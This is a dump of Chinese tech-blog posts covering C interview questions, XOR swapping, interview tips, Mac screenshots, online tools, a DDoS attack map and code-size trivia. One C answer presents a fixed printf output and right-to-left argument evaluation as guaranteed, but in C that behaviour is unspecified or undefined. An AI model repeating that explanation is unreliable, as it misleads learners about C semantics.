函數的執行時期，在該函數結束之後這個區域變數就不存在了，所以將其記憶體位址傳回使用將會造成不可預期的結果。\n這裡可以直接將 main() 函數中 a 變數的記憶體位址傳入 inc() 函數中，這樣就可以在 inc() 函數中更改 a 變數的值，以避免這個區域變數問題。\nprintf() 函數的參數的處理 下面這段程式碼執行後的輸出為何？\n#include\u0026lt;stdio.h\u0026gt; int main(void) { int a = 10, b = 20, c = 30; printf(\u0026#34;\\n %d..%d..%d \\n\u0026#34;, a+b+c, (b = b*2), (c = c*2)); return 0; } 答案\n這段程式碼執行後的輸出為\n110..40..60 會導致這樣的結果的原因在於：函數的參數處理的順序是由右至左，而輸出時的順序則是由左至右。\n參考資料：\nThe Geek Stuff ","permalink":"https://blog.gtwang.org/programming/c-interview-questions/","summary":"\u003cp\u003e這裡整理一些 C 程式語言相關的面試問題與解答，除了可以讓你增強 C 程式語言的能力，對於面試可能也有幫助。\u003c/p\u003e\n\u003ch2 id=\"gets-函數\"\u003e\u003ccode\u003egets()\u003c/code\u003e 函數\u003c/h2\u003e\n\u003cp\u003e下面這段程式碼中有一個問題，你能找出來嗎？\u003c/p\u003e","title":"C 程式語言相關的面試問題與解答"},{"content":"Face Your Manga 是一個可以讓你線上製作漫畫風個人頭像好用工具，非常有趣！\n如果你的 Facebook 或 Google+ 的大頭貼不想放個人的實際照片，那麼就可以考慮用 Face Your Manga 這個線上工具製作一個屬於自己的大頭貼。\n雖然它是一個卡通造型大頭貼設計工具，但是可用的組件超乎想像的多，每個人都可以依照喜好自由設計，也不用太擔心製作出來的大頭貼會跟別人一樣。\n進入 Face Your Manga 的網站後，直接點選左上角的「Create」就可以開始動手設計了。首先選擇性別。\n接著就可以開始設計了，這裡真的提供很多的組件可以使用，從基本的臉型、耳朵、眼睛、眉毛、鼻子、嘴巴、髮型，到衣著、耳環、眼鏡，還有身上的各種配備等等，每個組件也可以自己選擇顏色，自由度很高。\n設計完成之後，按下右上角的「Save」，就會出現一個填寫資料的視窗，填入基本資料與 Email 之後，它就會把產生好的大頭貼寄到你的 Email 信箱了。\n下面這個就是收到的大頭貼。\n原本想要把這張當作 Google+ 的大頭貼的，不過後來發現 Google+ 好像限制個人的大頭貼要有 250 像素以上，結果這張太小了，而如果想要更大張的圖，也可以向 Face Your Manga 付費購買高解析度的圖檔，不過要付錢我就沒興趣了。:)\n","permalink":"https://blog.gtwang.org/funny/face-your-manga/","summary":"\u003cp\u003e\u003ca href=\"https://faceyourmanga.com/\"\u003eFace Your Manga\u003c/a\u003e 是一個可以讓你線上製作漫畫風個人頭像好用工具，非常有趣！\u003c/p\u003e\n\u003cp\u003e如果你的 Facebook 或 Google+ 的大頭貼不想放個人的實際照片，那麼就可以考慮用 \u003ca href=\"https://faceyourmanga.com/\"\u003eFace Your Manga\u003c/a\u003e 這個線上工具製作一個屬於自己的大頭貼。\u003c/p\u003e","title":"Face Your Manga：製作卡通大頭貼（漫畫風個人頭像）的線上工具"},{"content":"這裡介紹如何使用線上電子書轉檔工具轉換電子書的檔案格式。\n許多的電子書閱讀器都有支援某些特定的電子書格式，有時候拿到的電子書格式如果自己的閱讀器沒有支援，就無法觀看，例如常見的 EPUB 格式電子書就沒辦法用亞馬遜電子書閱讀器 Kindle 來看。\n當碰到這樣的問題的時候，可以使用一些線上的轉檔工具，幫你把電子書的格式轉換成閱讀器可以支援的格式。\nConvert.Files 首先介紹 Convert.Files 這個網站，它是一個多功能的線上轉檔服務網站，這裡我們示範如何將一個 EPUB 轉換成 Kindle 用的 MOBI 檔。\n首先開啟 Convert.Files 的網頁，其使用方式很簡潔，首先在「Choose a local file」的地方按下「Browse」選擇自己要轉換的原始檔，我們使用一本 EPUB 的電子書做示範，選擇好了之後，它會自動偵測你選擇的檔案格式（Input format），選擇檔案之後，正常來說他應該就會偵測出該檔案是一個 EPUB 電子書的格式，並顯示在 Input format 欄位，接著在右邊的 Output format 欄位則選擇輸出的檔案格式，這裡我們選擇 Kindle 用的 MOBI 檔。\n所有的欄位都選擇好之後，就可以按下「Convert」開始上傳與轉換了，而所需要的時間跟你上傳的檔案大小有關，如果比較大的電子書就要等比較久，如果不想一直開著瀏覽器等，可以勾選「Send a download link to my email」這個選項，並輸入自己的電子郵件位址，這樣等到檔案轉換完成之後，就會以 Email 的方式通知你下載的位置。\n如果你的檔案是放在網路上某個位址，也可以使用「download it from」的功能指定網址，這樣就可以省去上傳的動作。\n以上就是 Convert.Files 的使用方式，除了一般電子書的格式，他也支援其他許多的檔案轉換，有興趣的話你可以看看他的網頁中列出的格式。\nOnline-Convert.com 除了 Convert.Files 之外，還有另外一個 Online-Convert.com 也可以進行檔案格式轉換的動作，基本上的操作大同小異。\n首先開啟 Online-Convert.com 網頁，在這有各種分類的檔案轉換工具，由於我們要把 EPUB 電子書轉換為 MOBI，所以就從 Ebook converter 中選擇「Convert to MOBI」。\n接著會跳到 MOBI 的轉換工具網頁，這裡就跟 Convert.Files 差不多了，一開始選擇要轉換的檔案，除了使用本機上傳與網路 URL 指定的方式之外，他還多了一個可以從 Dropbox 輸入的功能。\n下方的 Optional settings 是可有可無的選項，如果不想填也沒關係，最後按下「Convert file」按鈕即可開始轉換檔案。\n如果你的檔案比較大，轉換的時間就會需要比較久，這時候他就會告訴你如果你不想開著瀏覽器慢慢等，可以輸入你的 Email，等轉換完成之後以 Email 通知。\n如果你有開著瀏覽器等待，當轉換成功之後它就會自動下載轉換好的檔案。\n我自己之前兩本 EPUB 電子書用 Convert.Files 來轉，感覺不錯，但是後來拿一個 9.6 MB 的 EPUB 電子書，使用 Convert.Files 轉了好久都出不來，而改用 Online-Convert.com 馬上就完成了，建議大家在轉電子書的時候，如果出問題可以拿不同的工具試試看。\n","permalink":"https://blog.gtwang.org/useful-tools/ebook-format-online-converter/","summary":"\u003cp\u003e這裡介紹如何使用線上電子書轉檔工具轉換電子書的檔案格式。\u003c/p\u003e\n\u003cp\u003e許多的電子書閱讀器都有支援某些特定的電子書格式，有時候拿到的電子書格式如果自己的閱讀器沒有支援，就無法觀看，例如常見的 EPUB 格式電子書就沒辦法用\u003ca href=\"/unboxing/amazon-kindle-paperwhite/\"\u003e亞馬遜電子書閱讀器 Kindle\u003c/a\u003e 來看。\u003c/p\u003e","title":"線上電子書轉檔工具（支援 EPUB、MOBI、PDF 等）"},{"content":"這裡說明如何在程式中不使用暫存變數（temporary variable）交換兩個變數，這個問題也是面試時常問的問題。\n在 C/C++ 與 Java 等程式中，如果要將兩個變數所儲存的值交換，最簡單的方式就是使用一個暫存變數，例如若要將 a 與 b 兩個變數交換，則可使用：\n// 交換 a 與 b 的數值 tmp = a a = b b = tmp 其中 tmp 就是一個暫存變數，而這樣的方式也是最簡單、最直覺會想到的方法。但這裡會多使用到一個暫存變數，是否有辦法不要使用額外的 tmp 變數，就將 a 與 b 交換呢？這個問題是許多程式設計面試時會問到的問題，以下有三種解決方法。\n第一種方式是使用 XOR 運算：\n// 交換 a 與 b 的數值 a = a ^ b b = a ^ b a = a ^ b 第二種是使用加法與減法：\n// 交換 a 與 b 的數值 a = a + b b = a - b a = a - b 第三種是使用乘法與除法：\n// 交換 a 與 b 的數值 a = a * b b = a / b a = a / b 這三種方式作用都相同，但是第二種與第三種都可能會有溢位（overflow）的問題，所以最佳的解法是使用第一種 XOR 運算。\n使用 XOR 運算的方式來交換兩個變數，直接從表面上看不是很好理解，我們可以使用一些簡單的數學運算來解釋，為了避免變數混淆，首先將 XOR 的三條運算改寫為：\n// 交換 a 與 b 的數值 x = a ^ b y = x ^ b z = x ^ y 然後透過簡單的數學代數運算，我們可以得到 y 的值為\ny = (a ^ b) ^ b = a ^ b ^ b = a ^ (b ^ b) = a ^ 0 = a 而 z 的值為\nz = (a ^ b) ^ a = a ^ b ^ a = (a ^ a) ^ b = 0 ^ b = b 這樣就比較清楚了。\n參考資料 Javarevisited ","permalink":"https://blog.gtwang.org/programming/swap-two-numbers-without-third-temp-variable/","summary":"\u003cp\u003e這裡說明如何在程式中不使用暫存變數（temporary variable）交換兩個變數，這個問題也是面試時常問的問題。\u003c/p\u003e\n\u003cp\u003e在 C/C++ 與 Java 等程式中，如果要將兩個變數所儲存的值交換，最簡單的方式就是使用一個暫存變數，例如若要將 \u003ccode\u003ea\u003c/code\u003e 與 \u003ccode\u003eb\u003c/code\u003e 兩個變數交換，則可使用：\u003c/p\u003e","title":"如何在程式中不使用暫存變數交換兩個變數（適用於 Java 與 C/C++ 等語言）"},{"content":"這裡是整理了一般程式設計師面試時會碰到的十種常見問題。\n如果你是一個資訊背景的人，在面試程式設計師職缺的時候，通常會跟一般的技術職缺有些不同，這裡整理了十個很常見且應該要避免的問題。\n沒有在紙上或是白板上寫程式的經驗 這是應徵者常會犯的毛病之一，一般的面試常常會使用紙筆或是白板讓應徵者作答，許多應徵者的程式設計能力很好，但是卻沒有這方面的經驗。\n一個只會在電腦上使用 IDE 寫程式的人，突然被要求使用紙筆寫程式，會是一件有困難的事情，再加上這個場合是在面試，不是在自己的家裡，在如此緊張的氣氛中更加深了它的難度，而且在沒有編譯器的情況，面試者無法靠著編譯器幫他除錯，也會讓程式中很容易參雜一些平常不會注意到的錯誤。\n第一次使用紙筆寫程式是有些難度的，我自己本身也有類似的經驗，在大學的時候修習系上開設的程式設計課程，平常上機的小考我都是輕鬆拿滿分，結果碰到期中的大考突然要在考卷上寫程式，一時之間還真的不會寫，考出來的成績就不是很理想。\n建議如果沒有使用只比寫程式經驗的人，在面試之前可以自己在家練習一下，以免碰到類似的窘境。\n不要死記程式碼 許多社會新鮮人都或習慣把一些特定問題的解法背下來，而記得這些問題的解決方法是不錯，但是也請順便把這些解法的緣由也搞清楚，例如很多人都會記得交換兩個變數可以使用 XOR 位元運算來解決，但是並不是所有的人都清楚它為什麼可以這樣做。\n死記程式碼不是一個根本的辦法，它也許可以讓你順利解決一兩題測驗，但是最終若想要通過整場的面試，以及面對日後工作上的挑戰，還是免不了需要對於基礎的概念有一定的了解，重點不在於你會多少程式語言，而是在於你了解多少程式語言背後的觀念。\n缺乏溝通與表達 如果在面試時，你對於面試官所提出的問題有些疑問或質疑，其實是可以直接跟面試官討論的。\n而在你不知道答案時，與其呆呆的不知道說什麼，或是說一些答非所問的話語，不如誠實的告知面試官你不知道問題的答案，並且依照自己所知道相關議題，告知你所擅長的是哪一問題。\n沒有準備電話訪談 現在許多公司在實際面試之前，可能會先以電話的方式進行一次訪談，而電話的訪談分實際上面對面的面試也有很大的差異，很重要的就是你必須注意聽清楚對方講的話，並且清楚的表達自己的回應。\n當然在進行電話訪談時，最好準備紙筆在身邊，以便記錄訪談中的重要事項，另外在回答專業問題時，要以口語的方式回答，不要使用一般書本上的用語，不然可能會讓對方以為你在照書念，或是上網查資料。\n雜亂的程式碼 請不要忽視程式碼排版的重要性，不管你的學識多高、或是程式設計能力多好，當對方在檢視你的程式能力時，最基本的條件就是要先看得懂你在寫什麼，如果程式太雜亂，導致面試官看不懂，那其餘的都不用談。\n另外好的程式碼排版，對於程式的除錯也會有一定的幫助，所以養成排版的好習慣在任何時候都是很重要的。\n沒有表現出你的解決方案 面試官通常會對於應徵者所提出的解決方案有興趣，他們不會預期每道題目應徵者都可以完美回答出來，但是他們會期待應徵者提出一個可能可以解決問題的方案。\n有時候你可以告知面試官你所規劃的方向爲何，而在實際作答的時候，也許會有些小地方卡住，運氣好的話面試官也許會提醒你，如果真的沒辦法答對，至少可以讓面試官知道你的大方向是對的，只是還差一點細節，而不是什麼都不懂。\n變數與函數的命名 不管你使用什麼程式語言來解決問題，變數與函數的命名對於其他的人在看你的程式碼的時候會很重要，而有好的命名方式也可以幫助這個程式更容易被維護。\n面試官也許不會因為變數與函數的命名不當而質疑你的程式設計能力，但建議還是養成好習慣以防萬一，例如一個交換變數的函數可以名為 swap，而不要取名為 func 這種沒意義的名字。\n履歷表中包含你不懂的技術 這也是一些新鮮人常犯的錯誤，為了讓自己可以有更多的機會錄取，有些人會把一些自己也不是很懂的技術或程式語言寫進履歷中，這雖然可以讓你比較有機會可以接受面試，但也相對的你在面試的時候踢到鐵板的機率也會比較高，通常在經過幾分鐘的對談之後，面試官就可以清楚了解你的程度在哪裡，特別是很熟悉這些技術的人，甚至只需要聽你講幾句話，就可以知道你懂不懂！\n缺乏自信心 在面試的時候，自信心佔了重要的角色，在面試官問你問題時，即便你的答案是正確的，但是如果缺乏自信，無形之中也是會扣分的，因為通常企業會希望一個比較有自信的人來任職。\n熬夜準備面試 在面試前一晚，不要因為要準備面試而熬夜，在面試的時候你會需要一個清晰的頭腦與充沛的體力。\n許多應徵者很容易在面試的場合一緊張就腦袋空白，尤其是面試官看著你在白板上作答的時候，在面試的前一晚睡個好覺，放鬆一下再去面試，可能會有些幫助。\n參考資料 The Geek Stuff ","permalink":"https://blog.gtwang.org/tips/programmer-interview-mistakes/","summary":"\u003cp\u003e這裡是整理了一般程式設計師面試時會碰到的十種常見問題。\u003c/p\u003e\n\u003cp\u003e如果你是一個資訊背景的人，在面試程式設計師職缺的時候，通常會跟一般的技術職缺有些不同，這裡整理了十個很常見且應該要避免的問題。\u003c/p\u003e","title":"程式設計師面試時會碰到的十種常見問題"},{"content":"這裡教大家如何在 Mac OS X 擷取螢幕畫面，包含整個桌面或單一視窗。\n使用快速鍵擷取 在 Mac OS X 中，若要擷取螢幕畫面有好多種方式，最方便的就是利用系統的快速鍵。\n如果想要擷取整個桌面的畫面，可以使用 Command + Shift + 3（按住 Command 及 Shift 鍵不放，並同時按下數字鍵 3），這樣系統就會把整個桌面的畫面擷取下來，儲存成一個 png 檔放在桌面上，而其檔案名稱則是以日期與時間來命名，例如：螢幕快照 2013-11-05 上午7.39.32.png，下面這張圖就是擷取整個桌面的結果。\n而如果你只想要擷取畫面的一小部份，可以使用 Command + Shift + 4，這時候 Mac OS X 的滑鼠游標會變成十字型，使用者可以用它來選擇要擷取的螢幕畫面範圍，而在選擇時該時自游標旁邊還會顯示目前選取的像素，這樣使用者也可以很方便知道自己選了多大的區域。\n另外如果想要擷取某個視窗的畫面，可以按下 Command + Shift + 4，讓游標變成十字型之後，再按下空白鍵，這時候十字型游標就會變成相機的圖示，當相機圖示出現時，使用者就能用它來拍攝 Dock、整個選單列、某個開啟的選單、桌面或任何開啟視窗。\n使用「畫面擷取」截取畫面 第二種擷取方式是使用 Mac OS X 系統本身附帶的畫面擷取程式，其位置在「應用程式」\u0026gt;「工具程式」\u0026gt;「畫面擷取」。\n其擷取的功能跟快速鍵差不多，不過除了全螢幕、視窗與選擇範圍之外，它還多了一個定時擷取的功能。\n開啟定時擷取的功能之後，會出現一個擷取工具視窗，當使使用者按下「啓動定時器」之後，他就會開始計時，經過十秒鐘後就會自動擷取螢幕畫面。\n使用 screencapture 指令截取畫面 最後一種方式是利用系統的 screencapture 指令來擷取畫面，而這種方式要自行輸入指令，雖然看起來比較麻煩，但是他的功能是最彈性的，如果上面的方法都不太符合你的需求，就可以試試看這個方式。\n首先開啟終端機，如果要擷取整個畫面，則直接執行 screencapture 再加上輸出的檔案名稱即可，例如：\nscreencapture snapshot-desktop.png 其中 snapshot-desktop.png 是要儲存的檔案名稱，這個名稱使用者可以自由指定。\n如果要截取一個視窗的畫面，可以使用 -w 參數，例如：\nscreencapture -w snapshot-window.png 執行這行指令之後，滑鼠的游標就會變成相機的圖示，這時候就可以選擇要擷取的視窗。\n如果要使用滑鼠自行選擇擷取區域，則可使用 -s 參數，例如：\nscreencapture -s snapshot-selection.png 這樣滑鼠就會變成十字型讓使用者選取區域。另外也可以使用 -i 參數，使用互動模式擷取，在這種模式下可以用空白鍵切換選擇視窗或是選擇自定區域（就跟 Command + Shift + 4 一樣），例如：\nscreencapture -i snapshot-interactive.png 如果要使用定時擷取，則加上 -T 參數，例如：\nscreencapture -T snapshot-time.png 這裡預設會等待 5 秒後自動擷取，若要指定等待秒數，可以直接將秒數加在 -T 參數後面，例如：\nscreencapture -T10 snapshot-time.png 這樣等待秒數就會變成 10 秒。\n除了輸出 png 圖檔之外，screencapture 也支援其他各種檔案格式，例如：pdf、jpg、tiff 等，若要指定輸出的檔案格式，可以使用 -t 參數加上檔案格式，例如若要輸出 pdf 檔，則可執行：\nscreencapture -tpdf snapshot-desktop.pdf 這裡只介紹 screencapture 比較常用的參數用法，如果對於其餘的參數有興趣，可以使用\nscreencapture -h 查詢其所有參數的使用說明。\n擷取視窗畫面的陰影問題 如果你使用過快速鍵擷取視窗畫面的功能，你應該會發現在擷取出來的視窗周圍會包含該視窗的陰影，這個陰影有時候可以增加視窗的立體效果，但是如果在不需要的時候，反而會造成困擾。\n如果你不想要在擷取視窗時包含陰影，有幾種方式可以解決，最簡單的方式就是使用「畫面擷取」程式的擷取視窗功能。\n如果使用這裡的視窗擷取功能，其所擷取出來的視窗就不會包含陰影。\n另外一個方式就是使用 screencapture 指令加上 -o 參數，例如：\nscreencapture -o snapshot-no-shadow.png 如果你想直接更改系統的設定，讓擷取視窗預設都不要包含陰影，可以在終端機執行：\ndefaults write com.apple.screencapture disable-shadow -bool true 接著重新啓動 SystemUIServer：\nkillall SystemUIServer 這樣所有擷取視窗畫面都不會包含陰影（包含使用快速鍵的方式）。如果日後要回復成原來的設定，則可使用：\ndefaults write com.apple.screencapture disable-shadow -bool false 然後再重新啓動 SystemUIServer 之後就會生效。\n最後再補充一點，如果想要更改系統設定，但又不想使用指令，也可以試試看 TinkerTool 這個工具，這個工具有提供一個選項可以調整是否要包含陰影：\n參考資料 OS X Daily OS X Daily Apple ","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-screen-capture/","summary":"\u003cp\u003e這裡教大家如何在 Mac OS X 擷取螢幕畫面，包含整個桌面或單一視窗。\u003c/p\u003e\n\u003ch2 id=\"使用快速鍵擷取\"\u003e使用快速鍵擷取\u003c/h2\u003e\n\u003cp\u003e在 Mac OS X 中，若要擷取螢幕畫面有好多種方式，最方便的就是利用系統的快速鍵。\u003c/p\u003e\n\u003cp\u003e如果想要擷取整個桌面的畫面，可以使用 \u003ccode\u003eCommand + Shift + 3\u003c/code\u003e（按住 \u003ccode\u003eCommand\u003c/code\u003e 及 \u003ccode\u003eShift\u003c/code\u003e 鍵不放，並同時按下數字鍵 \u003ccode\u003e3\u003c/code\u003e），這樣系統就會把整個桌面的畫面擷取下來，儲存成一個 png 檔放在桌面上，而其檔案名稱則是以日期與時間來命名，例如：\u003ccode\u003e螢幕快照 2013-11-05 上午7.39.32.png\u003c/code\u003e，下面這張圖就是擷取整個桌面的結果。\u003c/p\u003e","title":"在 Mac OS X 中擷取螢幕畫面（螢幕快照）"},{"content":"Helpouts 是 Google 最新出的線上服務，使用者可以透過這項服務進行線上一對一的教學課程或專業諮詢。\nGoogle 在本週二發表了其最新的服務 Helpouts，它算是一種媒合服務，這個平台上面提供了各式各樣的老師與專業人士，專門進行各種問題的教學課程或諮詢服務，使用者可以在者裡找尋自己喜歡的老師，詢問各種問題，例如居家修繕、烹調、電腦、身體健康等，應有盡有。\n我們平常遇到問題時，可能都會習慣上網搜尋解答，但是網路上能找到的資訊有限，有非常多的資訊其實都還在人的腦袋裡，透過 Helpouts 服務，使用者可以有更多的管道找到更多、更有用的資訊。\n目前 Google 已經邀請了上千家公司參與這項計畫，成為其中的諮詢人員，而未來也規劃僅以邀請的方式招募專業人士加入。\n這些受諮詢的專業人士在 Helpouts 平台上開設各自的課程，收費可以自行決定，計費方式也可以選擇以分鐘計費或是以課程的堂數來計算，而 Google 則會收取 20% 的課程費用。除此之外，Google 官方也會提供一定比例的免費課程。\n使用者可以透過預約功能選擇上課時間，或是設定只要老師有空的時候就馬上連線上課。這個平台可以讓人與人的距離更靠近，消除許多時空上的限制。\n這項新的服務運用了既有的各項 Google 產品，例如視訊的功能是利用 Google Hangouts，付款是使用 Google Wallet，而要參加這個課程的人都要有 Google+ 的帳號，這樣也間接替 Google 的其他產品做推廣。\n由於這樣服務不只是讓人連線視訊，更需要付費，在這樣的狀況下安全機制就格外重要，當然 Google 也宣稱他們在這方面做了很多的努力，以避免各種可能發生的狀況，例如使用者如果感覺教學不滿意或有問題，可以立即斷線，並且回報給 Google 處理。而 Google 在邀請專業人士的時候，也會經過嚴格的審查與確認，以確保師資的品質。\n在使用者使用完畢之後，也可以填寫問卷來回應給 Google，如果真的非常不滿意，還可以要求退費，讓 Google 替使用者買單。如果老師沒有依照約定的時間如期開啟連線，或是遲到五分鐘以上，則該堂課程就算免費的。\n在隱私權方面，最敏感的就是個人身體健康相關的資料，如果使用者利用這項服務來做一些方面的諮詢，使用者一定會很在意自己的資料是否安全，在這議題上 Google 也強調 Helpouts 已經通過 HIPAA 認證，所以這類的資料在這個平台上會有一定的保障。\n以目前來說，Google 尚未邀請醫療相關的人員提供諮詢，所以如果使用者生病了，還是免不了要跑一趟醫院。\n","permalink":"https://blog.gtwang.org/funny/google-helpouts/","summary":"\u003cp\u003eHelpouts 是 Google 最新出的線上服務，使用者可以透過這項服務進行線上一對一的教學課程或專業諮詢。\u003c/p\u003e\n\u003cp\u003eGoogle 在本週二發表了其最新的服務 Helpouts，它算是一種媒合服務，這個平台上面提供了各式各樣的老師與專業人士，專門進行各種問題的教學課程或諮詢服務，使用者可以在者裡找尋自己喜歡的老師，詢問各種問題，例如居家修繕、烹調、電腦、身體健康等，應有盡有。\u003c/p\u003e","title":"Google 推出全新 Helpouts 線上專業諮詢服務"},{"content":"這是一張全球的分散式阻斷服務攻擊地圖，在這裡你可以觀察及時的狀態或是從過去的資料來研究攻擊時的狀況。\n分散式阻斷服務（distributed denial of service，簡稱 DDoS）攻擊，是一種現今網路上常見的攻擊手法，這種攻擊是透過各種方式控制網路上已經被攻陷的殭屍電腦（zombie computer），向某一特定的目標電腦發動密集式的「拒絕服務」式攻擊，藉以把目標電腦的網路資源及系統資源耗盡，使其無法向真正正常請求的使用者提供服務。\n若要以原始的網路連線資料來了解 DDoS 攻擊，並不是一件容易的事情，所以這類攻擊常常會被低估它的範圍與規模。\nDigital Attack Map 是一個可以將網路上即時的 DDoS 攻擊資料，經過分析之後以視覺化的方式呈現在網頁上的工具，其設計的目的是希望一般大眾也能夠認識 DDoS 攻擊所造成的影響，並且讓大家集思廣益，嘗試找出防止 DDoS 攻擊的方式。\nDigital Attack Map 是由 Google Ideas、Google Big Picture（Google Research 的一部分）與 Arbor Networks 共同合作所發展的，Arbor Networks 負責跟全球 270 個 ISP 蒐集匿名的網路攻擊資料，而 Google 的團隊則負責使用 D3 與 topojson 函式庫，將資料以視覺化的方式呈現在網頁上。\n到底現在 DDoS 有多氾濫？大家可能不知道。即使你不是駭客級的人物，只要花點小錢，要使用這樣的攻擊非常簡單，根據 TrendMicro Research 的報告，如果想要發動持續一週的 DDoS 攻擊，在黑市的價格只需要 150 元美金，也就是因為發動攻擊太簡單了，Arbor Networks 現在每天可以在網路上觀測到 2000 起的 DDoS 攻擊，更誇張的是現在全球斷線的伺服器中有三分之一是 DDoS 攻擊造成的。\n因為真實的資料量太龐大了，想要在這張地圖上呈現完整的攻擊資料是不可能的，Digital Attack Map 上面所顯示的只是 Arbor Networks 所搜集到的資料而已，其中可能會遺漏某些細節，不過我們還是可以從這張圖中以比較整體的角度來觀察全球的網路攻擊趨勢。\n既然 DDoS 那麼猖獗，那我們該如何防範 DDoS 的攻擊呢？基本的概念就是要能夠阻擋或吸收惡意的流量，一般網站的管理者可以請求網站托管廠商協助，他們通常會有辦法處理（例如將流量引導致到一些第三方所提供的快取服務上，藉此以紓緩伺服器的負載），但這種服務通常是要付費的，不過通常會比自己擴充伺服器來應付 DDoS 要便宜許多。\nGoogle Ideas 也針對 DDoS 的防堵，發起了一個新的 Shield 專案，希望可以使用 Google 的網路設備幫忙紓解 DDoS 所產生的流量，不過這個專案目前還只是在邀請階段，還沒開始實際執行，希望未來這個專案可以順利執行。\n參考資料 Flowing Data ","permalink":"https://blog.gtwang.org/funny/digital-attack-map/","summary":"\u003cp\u003e這是一張全球的分散式阻斷服務攻擊地圖，在這裡你可以觀察及時的狀態或是從過去的資料來研究攻擊時的狀況。\u003c/p\u003e\n\u003cp\u003e分散式阻斷服務（distributed denial of service，簡稱 DDoS）攻擊，是一種現今網路上常見的攻擊手法，這種攻擊是透過各種方式控制網路上已經被攻陷的殭屍電腦（zombie computer），向某一特定的目標電腦發動密集式的「拒絕服務」式攻擊，藉以把目標電腦的網路資源及系統資源耗盡，使其無法向真正正常請求的使用者提供服務。\u003c/p\u003e","title":"Digital Attack Map：全球即時 DDoS 網路攻擊監控地圖"},{"content":"這裡介紹如何使用 Google Chrome 來直接下載 facebook 影片，而且不需要安裝任何擴充功能。\n有時候我們在 facebook 上看到喜歡的影片，想要把它下載下來，但是 facebook 有沒有提供下載的功能，這時候就可以從瀏覽器的快取中尋找這種影片檔，這裡我們以 Google Chrome 瀏覽器來示範如何下載 facebook 的影片。\nStep 1\n首先開啟 facebook 上想要下載的影片，然後先把整段影片看完，記得要從頭看到尾，這樣才能讓瀏覽器把完整的影片都下載來。\nStep 2\n接著在 Google Chrome 開另外一個分頁，在網址列輸入：\nchrome://cache 這樣 Google Chrome 就會列出所有的快取檔案，而剛剛我們在 facebook 上播放過的影片也應該會在這裡，這時候就可以利用搜尋功能（按下 Ctrl + f 鍵），找尋影片檔，例如可以輸入 .mp4 找尋 MP4 這種格式的影片。\n找到之後，就把那一行網址複製下來。\n如果你最近看過很多的影片，在這裡搜尋時可能會找到好多行網址，那就要自己慢慢看到底是哪一個了。如果真的太多分不清楚的話，也可以嘗試先把 Google Chrome 所有的快取先全部清除，在重新把影片看過一次，這樣可能會比較好找。\nStep 3\n在 Google Chrome 瀏覽器中在開啓一個分頁，在網址列貼上剛剛複製的網址，按下 Enter 鍵打開它，這時候應該就會看到影片了，如果出現的內容不是剛剛 facebook 中的影片，可以再回到第 2 步驟，再找一找其他的影片檔試試看。\nStep 4\n找到影片檔之後，就可以直接點選 Google Chrome 主選單的「另存網頁」，把這個影片儲存下來了。\n","permalink":"https://blog.gtwang.org/tips/facebook-video-download-using-google-chrome/","summary":"\u003cp\u003e這裡介紹如何使用 Google Chrome 來直接下載 facebook 影片，而且不需要安裝任何擴充功能。\u003c/p\u003e\n\u003cp\u003e有時候我們在 facebook 上看到喜歡的影片，想要把它下載下來，但是 facebook 有沒有提供下載的功能，這時候就可以從瀏覽器的快取中尋找這種影片檔，這裡我們以 Google Chrome 瀏覽器來示範如何下載 facebook 的影片。\u003c/p\u003e","title":"Google Chrome 下載 Facebook 影片，不需要安裝任何擴充功能"},{"content":"這張圖顯示了各種應用程式的程式碼規模比較，有些可能超乎你的想像。\n這張圖統計了各式各樣的作業系統與應用程式的程式原始碼行數，雖然每個程式設計師的習慣不同，也會造成程式碼統計的一些差異，但大致上還是可以看出每個程式的規模在哪一個數量級，以及不同程式間的差異。\n首先是十萬行這個等級的程式，一般的手機 App 與一些應用程式在初期發展時，都是在這個範圍，例如 1990 年的 Photoshop v1.0 大概只有十幾萬行的原始碼。\n接著是百萬行的等級，一些早期的作業系統都是在這個等級，像 Linux Kernel 2.2.0 與 Windows NT 3.1 等，而 Photoshop C.S. 6 也在這裡。\n有趣的是，世紀帝國線上版（Age of Empires online）也有在這個範圍。\n接著就是一些最近幾年的作業系統與常見的應用程式，例如 Linux 3.1、Windows NT 4.0、Android、Firefox、Google Chrome、MySQL 與 Apache Open Office 等，這些都在五百萬到一千萬這個等級附近。\n在兩千五百萬行的部份有微軟的 Windows 2000、Windows 7、Windows XP、Office 2001、Office 2013 等，有趣的是 Windows XP 的程式碼還比 Windows 7 還多一點點。\n五千萬行以上的，則有 Windows Vista（程式碼很多似乎不代表品質好）、Visual Studio 2012、Debian 5.0 codebase 與 Mac OS X Tiger，還有 Facebook 也在這裡，一般人可能很難想像 Facebook 的程式規模竟然有那麼大。\n最後一個很有趣的地方是現在汽車系統的程式碼平均都有一億行，比現在一般電腦的作業系統都高出很多，可能是因為電腦可以當機，汽車絕對不行？\n這個統計中規模最大的是美國醫療系統 healthcare.gov 網站，程式碼竟然達到五億行，我也不知道這是怎麼回事，不過這個數據是它們網站自己回報的數據，不知道是否夠準確。\n","permalink":"https://blog.gtwang.org/funny/how-many-lines-of-code-does-it-take/","summary":"\u003cp\u003e這張圖顯示了各種應用程式的程式碼規模比較，有些可能超乎你的想像。\u003c/p\u003e\n\u003cp\u003e這張圖統計了各式各樣的作業系統與應用程式的程式原始碼行數，雖然每個程式設計師的習慣不同，也會造成程式碼統計的一些差異，但大致上還是可以看出每個程式的規模在哪一個數量級，以及不同程式間的差異。\u003c/p\u003e","title":"各種作業系統與應用程式的程式碼規模比較"},{"content":"這裡介紹如何安裝與使用 XFCE Theme Manager，調整 XUbuntu 桌面佈景主題。\n在一般的 Xfce 的桌面環境中，並沒有提供一個整合性的佈景主題調整工具，系統中有好幾個設定工具分別負責不同的設定，而且也沒有提供預覽的功能，你在選擇佈景主題時只能先套用之後才能知道它長的怎麼樣。\n如果你是常常會想更換佈景主題的人，使用 Xfce 內建的設定工具可能會很不方便，建議可以改用 XFCE Theme Manager 這個佈景主題管理工具，以下介紹這個工具如何安裝與使用。\nsudo add-apt-repository ppa:rebuntu16/other-stuff 接著更新 apt 的資料庫之後，再用 apt-get 安裝：\nsudo apt-get update sudo apt-get install xfce-theme-manager 安裝好了之後，直接執行：\nxfce-theme-manager 或是從 Xfce 的設定值管理員中選擇「Xfce-Theme-Manager」也可以。\n開啟 Xfce Theme Manager 之後，就可以選擇自己喜歡的佈景主題了。所有的佈景主題都有預覽樣本可以提供參考，而且也可以選擇預覽的大小，如果看不清楚可以放大一點。\nXfce Theme Manager 提供了許多功能，包含主題（Themes）、視窗框邊（Window Borders）、控制組件（Controls）、圖示（Icons）、滑鼠游標（Coursors）與桌布（Wallpapers）。\n在 